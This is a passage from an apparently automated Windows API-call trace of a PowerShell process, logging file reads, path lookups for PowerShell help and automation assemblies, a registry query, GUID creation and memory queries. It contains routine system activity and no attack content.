nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.845] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.846] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0xf37, lpOverlapped=0x0) returned 1 [0054.846] ReadFile (in: hFile=0x30c, lpBuffer=0x3531887, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3531887*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.846] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0054.846] SetErrorMode (uMode=0x1) returned 0x1 [0054.846] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0054.846] SetErrorMode (uMode=0x1) returned 0x1 [0054.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0054.846] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.847] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.847] CoTaskMemAlloc (cb=0x5a) returned 0x1b785e10 [0054.847] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785e10, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.847] CoTaskMemFree (pv=0x1b785e10) [0054.847] RegCloseKey (hKey=0x30c) returned 0x0 [0054.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0054.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22ce40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0054.857] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xc621d553, Data2=0x3841, Data3=0x40a4, Data4=([0]=0x88, [1]=0xd6, [2]=0xc9, [3]=0x18, [4]=0x4e, [5]=0x43, [6]=0x8, [7]=0x31))) returned 0x0 [0054.857] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x14ea6096, Data2=0x36c5, Data3=0x4512, Data4=([0]=0x92, [1]=0x7d, [2]=0x94, [3]=0x94, [4]=0xb3, [5]=0xd, [6]=0x54, [7]=0xfa))) returned 0x0 [0054.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.874] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xc5324f04, Data2=0xae49, Data3=0x4516, Data4=([0]=0x95, [1]=0x53, [2]=0xdd, [3]=0x80, [4]=0x85, [5]=0xe4, [6]=0xf4, [7]=0x98))) returned 0x0 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.877] VirtualQuery (in: lpAddress=0x22b580, lpBuffer=0x22c440, dwLength=0x30 | out: lpBuffer=0x22c440*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.878] VirtualQuery (in: lpAddress=0x22b610, lpBuffer=0x22c4d0, dwLength=0x30 | out: lpBuffer=0x22c4d0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.879] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.880] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.903] VirtualQuery (in: lpAddress=0x22bd90, lpBuffer=0x22cc50, dwLength=0x30 | out: lpBuffer=0x22cc50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.905] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.906] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.906] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.906] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.907] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.907] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.907] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.907] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.907] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.907] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.908] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.908] VirtualQuery (in: lpAddress=0x22b9c0, lpBuffer=0x22c880, dwLength=0x30 | out: lpBuffer=0x22c880*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.908] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.909] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.909] VirtualQuery (in: lpAddress=0x22bcf0, lpBuffer=0x22cbb0, dwLength=0x30 | out: lpBuffer=0x22cbb0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.909] VirtualQuery (in: lpAddress=0x22bd80, lpBuffer=0x22cc40, dwLength=0x30 | out: lpBuffer=0x22cc40*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.909] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x7e729dd2, Data2=0x5c10, Data3=0x4197, Data4=([0]=0x89, [1]=0xaf, [2]=0x3d, [3]=0xff, [4]=0xdd, [5]=0x80, [6]=0x5d, [7]=0x8e))) returned 0x0 [0054.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.909] GetFullPathNameW (in: 